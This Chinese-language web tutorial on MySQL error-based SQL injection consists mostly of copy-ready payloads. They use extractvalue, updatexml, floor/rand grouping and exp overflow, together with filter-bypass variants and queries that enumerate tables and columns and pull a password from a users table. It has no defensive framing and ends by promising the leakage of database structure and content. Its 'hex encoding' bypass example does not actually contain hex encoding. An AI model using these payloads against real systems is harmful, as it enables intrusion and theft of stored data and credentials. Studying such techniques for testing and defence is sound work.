MySQL报错注入实战指南

MySQL报错注入实战指南

MySQL 报错注入基础概念

报错注入是通过故意构造错误语句,使数据库返回错误信息并泄露数据的一种技术。其核心是利用数据库函数或语法特性触发错误,并将查询结果通过错误信息反馈。

常用报错函数与技术

利用 extractvalue 函数

extractvalue 是XML处理函数,当XPath格式错误时会返回错误信息,并附带错误内容。

AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))
  • 0x7e~ 的十六进制,用于分隔错误信息中的有效内容。
  • 限制:最多返回32字符,超长需配合 substr 分段获取。
利用 updatexml 函数

extractvalue 类似,但参数格式不同:

AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
  • 同样受32字符长度限制,需分段查询。
利用 floorrand 的组合

通过 group byrand 函数触发主键重复错误:

AND (SELECT 1 FROM (SELECT count(*), concat((SELECT user()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) y)
  • 错误信息会包含 concat 内的查询结果(如当前用户)。
利用 exp 函数溢出

exp 函数在数值过大时触发溢出错误:

AND exp(~(SELECT * FROM (SELECT user()) x))
  • ~ 按位取反生成极大值,导致 exp 报错并泄露数据。

绕过过滤技巧

替换空格

使用注释符 /**/ 或括号绕过空格过滤:

AND(extractvalue(1,concat(0x7e,(SELECT/**/user()),0x7e)))
十六进制编码

敏感函数或字符串可用十六进制表示:

AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1), 0x7e))
多语句拼接

利用 concat_wsmake_set 绕过关键字检测:

AND extractvalue(1, make_set(3, 0x7e, (SELECT user()), 0x7e))

实际案例:获取表名与字段

AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), 0x7e), 1)
  • 修改 LIMIT 偏移值遍历所有表。
  • 获取字段名只需替换为 SELECT column_name FROM information_schema.columns WHERE table_name='users'

注意事项

  • 报错注入需目标开启错误回显,否则无法利用。
  • 部分函数如 extractvalueupdatexml 需MySQL版本≥5.1.5。
  • 过长的结果需结合 substrmid 分段提取:
    AND extractvalue(1, concat(0x7e, substr((SELECT password FROM users LIMIT 1), 1, 30), 0x7e))
    

通过灵活组合上述方法,可逐步泄露数据库结构及内容。

转载请说明出处内容投诉
CSS教程网 » MySQL报错注入实战指南

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买